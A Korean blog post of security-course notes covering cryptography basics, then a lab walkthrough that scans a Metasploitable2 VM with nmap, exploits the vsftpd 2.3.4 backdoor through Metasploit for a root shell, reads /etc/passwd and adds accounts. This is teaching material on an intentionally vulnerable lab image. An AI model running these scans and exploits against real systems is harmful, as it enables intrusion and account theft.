Network

루키즈 교육 - 0920 학습

김띵똥 2022. 9. 20. 17:40

* 암호화를 하는 이유

- 기밀성(Confidentiality) : 내용이 노출되지 않도록 하는 것

- 무결성(Integrity) : 내용이 변조되지 않도록 하는 것

- 인증(Authentication) : 올바른 사용자임을 증명하는 것

- 부인봉쇄 : 아니라고 하지 못하게 하는 것

 

* 대칭키(Symmetric Key) = Secret Key = Session Key

- 암호화키와 복호화키가 서로 대칭을 이룸 ----> 사실상 하나의 키

- Feistel구조 : Lucifer, DES, 3DES 등등

- SPN구조(치환과 전치의 반복) : AES(Rijndael,리인델)

- 대칭키의 문제점 : 키 전달의 문제, 키 개수의 문제

 

* 공개키 방식

- 개인키(Private Key)와 공개키(Public Key) 한쌍으로 이루어져 있음

- 개인키는 자기 혼자만 보유, 공개키는 누구에게나 제공해도 됨

- 개인키로 공개키를 연산해 내는 것은 쉬운데, 공개키로 개인키를 알아내는 것은 불가능

 

1) Diffie-Hellman

- 대칭키 교환 문제를 해결 : 서로 공개키를 교환하고, 자신의 개인키와 연산해서 대칭키(세션키)를 생성해 냄

- 이산대수의 어려움에 근거 : 한쪽 방향으로는 계산하기 쉬움(검증), 반대 방향으로는 계산하기 어려움

 

2) RSA (Rivest, Shamir, Adleman)

- 기밀성 : 수신자의 공개키로 암호화해서 보냄

- 인증 : 송신자의 개인키로 암호화해서 보냄

- 소인수분해의 어려움    ex) 13*7 = 91

 

3) ECC (Elliptic Curve Cryptography, 타원곡선 암호화)

- 이산대수의 어려움에 근거한 방식

- 짧은 키길이로 강력한 암호화를 제공함 (키가 길수록 연산량이 많아짐 ---> CPU/Memory/Power소모량 증가)

- Mobile환경에 적합함 ---> 인스타그램, 유튜브, 페이스북

 

* Hash Function

1) 고정길이 출력 : 원문의 길이와 관계없이 고정길이로 출력됨

2) 일방향 함수 : 원문으로 해시값을 계산하는 것은 매우 쉽지만, 해시값으로 원문을 알아내는 것은 거의 불가능

3) 충돌 방지 : 해시값이 같은 원문은 거의 존재하지 않음

ps 1) 취약한 해시함수 : MD5, SHA-1   -----> 더이상 사용하면 안됨 (충돌쌍을 막 찾고 그럼...)

ps 2) 안전한 해시함수 : SHA-256이상을 사용해야 함     ex) SHA-2(256) 사용 사례 : Bitcoin, 공동인증서 등등

 

* 전자서명

- 생성 : 원문의 해시값에 송신자의 개인키로 암호화(서명)해서 원문에 붙여서 보냄

- 검증 : 서명된 해시값을 송신자의 공개키로 복호화해서 원문의 해시값과 비교해봄 ----> 일치하면 무결성 증명, 일치하지 않으면 변조

 

* 인증서(Certificate)

- 생성 : 공개키의 해시값에 인증기관의 개인키로 암호화(서명)

- 검증 : 서명된 해시값을 인증기관의 공개키로 복호화해서 공개키의 해시값과 비교해봄

 

* PKI

- 최상위 인증기관 (Root CA) : 인증기관을 관리

- 인증기관(CA) : 인증서를 발급하는 곳

- 등록기관(RA) : 인증서를 신청한 조직(회사,기관 등)을 검증하고 접수를 받음

 

* RSA의 특징

Boss(개인키,공개키)                                                               Killer(개인키, 공개키)

 

1) 기밀성 방식

"Ninja를 죽여라"라는 메시지를 Killer만 보게 하려면?  Killer의 공개키로 암호화해서 보냄-------------->

---------------------> Killer는 자신의 개인키로 복호화를 함 (Killer만 볼 수 있음) : 비밀리에 Killer만 보았지만, Boss가 보냈다는 확신이 없음.

 

2) 인증 방식

"Ninja를 죽여라"라는 메시지를 Boss의 개인키로 암호화를 해서 보냄...

  ----> 분명히 Boss가 보낸게 맞음(Boss의 공개키로 복호화 되기 때문에 Boss의 개인키로 암호화했다는 증거임)

Killer는 Ninja를 죽였을까요?  Ninja도 Boss공개키가 있기 때문에 복호화가 가능해서 모든 것을 알고 있었음.

 

* SSL/TLS

- 웹에서 암호화 통신을 하기 위해 사용하는 프로토콜

- 대칭키, 공개키, 해시함수도 사용 ----> Web Browser와 Web Server가 어떤 암호화 방식을 사용할건지 협의 (우선순위가 있음)

- 핵심 원리

  웹서버가 자신의 공개키를 인증서 형식으로 제공

  웹브라우저는 세션키를 생성해서 웹서버의 공개키로 암호화해서 웹서버에게 보냄  ------->  웹서버는 자신의 개인키로 복호화(세션키 나옴)

  웹브라우저와 웹서버는 데이터를 보낼때 세션키로 암호화해서 보냄 ----> 상대방에게 받은 암호문은 세션키로 복호화를 함

 

참고) OpenSSL을 이용해서 자가 인증서 생성하기 (RootCA생성 --> 인증서 생성)

https://wnw1005.tistory.com/457

 

세션이 만료되었다...        -----> 서버에서 session(쿠키대신 사용)의 유효기간이 있음 ----> 기간이 끝났다는 의미 (새로 본인 확인을 해라)

세션이 활성화되어 있는 동안 사용하는 키가 세션키 (세션이 만료되면 세션키도 버림)

=> 일반적으로는 Browser를 닫으면 세션키도 삭제됨

 

* 전자봉투 

- 생성 : 원문의 해시값에 송신자의 개인키로 서명하고 원문 및 송신자의 공개키까지 첨부해서 세션키로 암호화함. 세션키는 수신자의 공개키로 암호화해서 첨부 ---> 오프라인으로 USB, 이메일, 채팅으로 보내도 됨

- 특징 : 기밀성, 무결성, 송신자에 대한 인증 및 부인봉쇄까지 모두 가능함

 

* 최근의 이슈

- AES의 키 길이의 문제 : 컴퓨터의 발전으로 크래킹 시간이 줄어들고 있음 ----> AES 128bit 안전성에 문제

- RSA 2048bit 이상을 사용해야 함 

   RSA512bit에서 RSA1024bit로 업그레이드 : 2004년

   RSA1024bit를 RSA2048bit로 업그레이드 : 2012년

   RSA4096bit는????   대략 2028년쯤??

   -----> 키를 계속 늘릴 수는 없기 때문에 ECC를 사용

   ECC160bit가 RSA1024bit와 거의 비슷한 암호화 강도를 제공

   ---> 최근에는 ECC256bit 사용중 (Youtube, Instagram, Facebook등)

 

* 랜섬웨어들이 대부분 RSA2048bit를 사용해서 암호화를 함

---> 랜섬웨어 실행파일에 무엇이 들어있을까요?  공격자의 공개키가 들어있어서 파일을 공개키로 암호화함

---> 암호화했던 공개키에 대한 개인키를 돈받고 주겠다는 것!

---> 대응 방법 : 오프라인 백업(외장하드),  온라인 백업(클라우드에 업로드)

 

* 랜섬웨어가 대칭키로 암호화를 하면?

- 악성코드 실행 파일  안에 대칭키가 있을 것임 ----> 그 키만 찾으면 복호화가 가능함

 

* 가상화폐는 주로 해시의 원리를 이용  ex) SHA-256bit

- 앞 블록에 대한 해시값을 다음 블록의 헤더에 포함시킴 ----> Chain

- 중간 블럭을 바꿀 수 없음(내용을 바꿀수 없음) ------> 무결성 검증

- 기밀성은 제공하기 어려움 : 블럭안에 거래내역이 모두 들어있음 ----> 채굴기 설치하면 모든 블럭의 내용을 다 볼수 있음

 

* Exploit

* Asset (자산)

- 유형자산 : 컴퓨터, 회사건물, 공장, 인력, 고객 등

- 무형자산 : 브랜드이미지, 데이터, 저작권, 특허, 평판 등등

- 자산에는 약점이 존재

     ex) 현금, 보석, 무기명채권, 콜드월렛(USB에 들어있는 암호화폐) 등의 약점은??   도난 및 분실 등

     ex) 가로수 (50~200만원)의 특징??  포크레인, 트레일러 등등

 

* 취약점은 특정 버전에만 존재하는 것

- 취약점이 존재하면 패치를 적용하면 해결됨 -----> 버전이 달라짐

- 취약점 분석은 어떤 버전인지만 알면됨+그 버전에서 가지고 있는 취약점이 무엇인지

   어떤 버전인지 확인(진단기능) : SW로 해결

   그 버전에서 가지고 있는 취약점이 무엇인지(지식) : 클라우드에서 해결 가능, 검색(모르면 구글)

 

Quiz 1) 패치가 나올때까지 걸리는 평균 기간 (기준: 미국, 2018년 기준)은?

- 정답 :  두달

 

Quiz 2) 해킹을 당하고 그 사실을 인지하는데 걸리는 기간은?

- 정답 :  6개월 이상

 

* Zeroday Exploit

- 패치가 배포되기 전에, Exploit code를 먼저 만들어서 공격하는 사례

- 무방비 상태에서 공격 가능, 대응할 방법이 없는 상태임

- 알려지지 않은 취약점이라는 의미 -----> DarkWeb에서 거래가 되기도 함

 

* Oneday Exploit

- 알려진 취약점, 패치가 배포되었지만 아직 설치하지 않은 상태 (의존성 문제로 동작에 영향이 있을까봐 우려되어서)

- 패치를 설치하지 않은 시스템만 골라서 공격 가능함 

- 알려진 취약점  ----> 공격방법도 유튜브,블로그,SNS 등에 나와있음

 

* 약점(Weakness) 공식 번호 : CWE-nnnnn 

- CWE : Common Weakness Enumeration (보편적인 약점 목록화)

http://cwe.mitre.org (약점 관리 공식기관)  The CWE Top 25(2022)

 

* 취약점 공식 번호 : CVE-YYYY-NNNNnnn  

- YYYY년도 4자리 ----> 언제 발견된 것인지 확인

- NNNN(4자리부터) ~ NNNNnnn(7자리까지) 번호를 부여함

- http://cve.mitre.org : 약점을 관리하는 공식기관 ----> cve.org로 이전

 

취약점 사례 분석) 프린트 나이트메어 취약점

https://www.boannews.com/media/view.asp?idx=98833

"프린트나이트메어 취약점은 CVE-2021-1675 아니고 제로데이"

----> 패치로 해결되지 않았기 때문

 

Quiz) MS 직원 중에 Tester의 비율은?

정답 : 50%

 

실습준비) 구글에 접속합니다.

검색창에 metasploitable2 를 검색하고 2번째 검색 결과 클릭

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

metasploitable-linux-2.0.0.zip 파일 클릭해서 다운로드 합니다.

metasploitable-linux-2.0.0.zip 압축을 풉니다.

 

VMware player를 실행합니다.

Player > File > Open 클릭하고 압축 푼 폴더에서 Metasploitable.vmx  파일 선택하고 열기

Play Virtual Machine 클릭

I copied it  선택                 // 다른 컴퓨터에서 만든 이미지를 복사했기 때문

로그인 : msfadmin / msfadmin

    (PW를 입력할 때에는 커서가 움직이지 않음)

마우스를 바깥으로 빼려면,  Ctrl키와 Alt키를 동시에 눌렀다 떼면 됩니다.

 

* Metasploitable2

- 각종 취약한 버전을 골라서 설치한 Victim용 실습 이미지  ----> exploit 가능

- Rapid7이라는 회사에서 Metasploit(공격도구)를 팔고 있는데, 테스트해보기 위해서 metasploitable2를 만듦

 

$ sudo  ls

   ( PW : msfadmin )

$ sudo  adduser  ive                              //  adduser를 사용하면 마법사를 이용해서 PW, 전화번호 등등 물어봄, 홈디렉터리 만듦.

    PW : after

$ sudo  adduser  aespa

    PW : illusion

$ sudo  adduser  nct

    PW : intheair

 

$ sudo  useradd  astro                           // 계정만 만듦, 홈디렉터리를 만들지 않음 -----> FTP를 사용할 수 없음

$ sudo  passwd   astro

    PW : candy

 

* 계정을 만든 이유 : Exploit를 한 후에 계정을 크래킹 할 예정

 

실습준비)   Kali Linux를 부팅

* Metasploit

- HD Moore가 Perl Script로 만든 취약점 공격 도구 (Error가 많음)

- Rapid7이라는 보안 전문회사에 Metasploit를 매각 (무료로 배포 버전 : Framework,  유료로 판매하는 버전 : Pro)

 

- 시작 : 피닉스아이콘(시작버튼) > 08 Exploitation Tools > Metasploit Framework 클릭

2230 exploits : 취약점 공격 모듈

867 payloads : Exploit 이후의 연결 방법

 

* IP 스캔

- 켜져 있는 시스템을 확인

$ sudo nmap -sn 192.168.5.129-140

   (-s : scan,  n : number )

   (타겟 IP주소 확인 : 192.168.5.131)

 

* Port Scan

1. TCP scan

- 3Way Handshaking을 완성하는 스캐닝 ----> 로그가 남기 때문에 공격자는 잘 하지 않는 스캐닝임

$ sudo nmap -sT 192.168.5.131                         //  -s : scan,  T : TCP

$ sudo nmap -s T  192.168.5.131 결과값

2. SYN scan

- 3Way Handshaking을 완성하지 않는 스캐닝 (SYN만 보내고 ACK를 보내지 않는 기법)

$ sudo nmap -sS 192.168.5.131

$ sudo nmap -sS 192.168.5.131  -p 1-20000               // 포트 번호 지정 가능

 

SYN scan 결과 값

 

3. UDP scan

- 실행중인 UDP서비스를 확인하는 스캐닝

$ sudo nmap -sU 192.168.5.131

  ( ctrl+c 눌러서 중지... 시간이 너무 오래 걸림... )

 

UDP scan 결과값

4. OS scan

- 운영체제의 종류를 파악하기위한 스캐닝 (-s 옵션은 없음)

$ sudo nmap -O 192.168.5.131

 

OS scan 결과값

 

* 엉터리 스캔(Stealth scan)

- TCP/IP의 논리에 맞지 않는 스캐닝 기법

- 열린 포트는 응답하지 않음, 닫힌 포트는 RST를 보냄 ----> 열린 포트와 닫힌 포트 구분 가능

- X-mas, FIN, Null 세가지 스캔 방식이 있음

 

5. X-mas scan

- 크리스마스에는 창고에 있던 전구를 꺼내서 켬

- TCP Flag를 모두 1로 만들어서 보내는 스캔인데, nmap에서는 FIN/URG/PSH만 활성화함

$ sudo nmap -sX 192.168.5.132

X scan 결과값

6. FIN scan

- FIN(종료요청)을 보내면 열린 포트는 응답없음, 닫힌 포트는 RST를 보냄

$ sudo nmap -sF 192.168.5.132

F scan 결과값

7. Null scan

- TCP Flag를 모두 0으로 만들어서 보내는 스캔

$ sudo nmap -sN 192.168.5.132

 

N scan 결과값

8. Version scan

- 버전을 알면, 취약점도 알 수 있음

$ sudo nmap -sV 192.168.5.131

V scan 결과값

9. All scan (여러가지 진행중으로 시간이 좀더 걸림)

- Script scan + OS scan + Traceroute + Version scan

$ sudo nmap -A 192.168.5.131  -T4                                   //  -T : Timing,  0~6까지 숫자 사용 가능, 클수록 속도 빠름

 

* 21번포트는 FTP서비스를 실행하고 있다.

 => vsftpd 2.3.4라는 버전을 사용하고 있음 : Backdoor Command가 실행되는 취약점을 가지고 있음.

 

* KaliMetasploit를 사용했던 탭으로 와서

msf6 > search vsftpd                                        // 취약점 모듈 검색

msf6 > search vsftpd   취약점 모듈검색 결과값

msf6 > use  exploit/unix/ftp/vsftpd_234_backdoor              // 모듈 장착

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.5.131            // Target host 지정

Target host 지정 결과값

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit                                   // 공격 시작

Command shell session 1 opened                                           // 연결 성공!!!

 

ip addr

   192.168.5.131(132) =>  Target host의 IP주소 (접속되었다는 뜻)

접속 완료

cat /etc/passwd

   ----> ive, aespa, nct, astro의 계정이 보임

cat /etc/passwd 결과값

cd  /home/nct

touch  nct.txt                              =>   touch는 파일을 만드는 명령

echo "nct is very famous">>nct.txt      =>   echo "  "의 내용을 nct.txt에 넣음

 

nct 결과값

* vsFTP의 2.3.4버전에 Backdoor 명령이 실행되는 취약점이 존재하기 때문

- Exploit를 해서 취약점을 공격했더니, Shell을 실행할 수 있었음 (root권한으로)

- root 이므로 계정 생성도 가능

   useradd blackpink  (blackpink 계정이 생성됨)

연결을 끊으려면, ctrl + c를 누름

Abort session 1? [y/N]  y

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > back                           // 초기 상태로 돌아감

msf6>

 

vsftpd를 실행한 권한이 root권한이었기 때문에, 취약점 공격에 성공하면, 공격자에게 root권한이 주어짐

 

* 최종 정리

1단계 : nmap을 이용해서 Target host를 스캐닝

  $ sudo  nmap  -A  192.168.5.131

2단계 : 버전 확인 -----> 구글에서 취약점 확인

3단계 : 스크립트로 확인(진짜로 공격이 가능한지)

4단계 : Metasploit으로 공격이 실제로 가능한지 확인

 

 

* Script Scaninng (3단계)

Kali Linux > nmap을 사용했던 두번째 탭 클릭

$ cd /usr/share/nmap/scripts

$ ls -l | wc  -l                            // 파일의 개수를 세는 명령  (wc : word count)

606개의 스크립트가 있음

 

$ sudo  find  .  -name "*vsftp*"         //  .은 현재 디렉토리,   -name이름을 검색   *vsftp* ----> 중간에 vsftp가 들어간 파일을 모두 찾음

   ----->  ftp-vsftpd-backdoor.nse

$ sudo  nmap  --script=ftp-vsftpd-backdoor.nse  192.168.5.131  -p 21

 

 

 

 

 

 

'Network' 카테고리의 다른 글

루키즈 교육 - 0922 학습  (0) 2022.09.22
루키즈교육 - 0921 학습  (0) 2022.09.21
루키즈교육 - 0919학습  (0) 2022.09.19
루키즈 교육 - 0915학습  (0) 2022.09.15
Wireshark 사용법  (0) 2022.04.06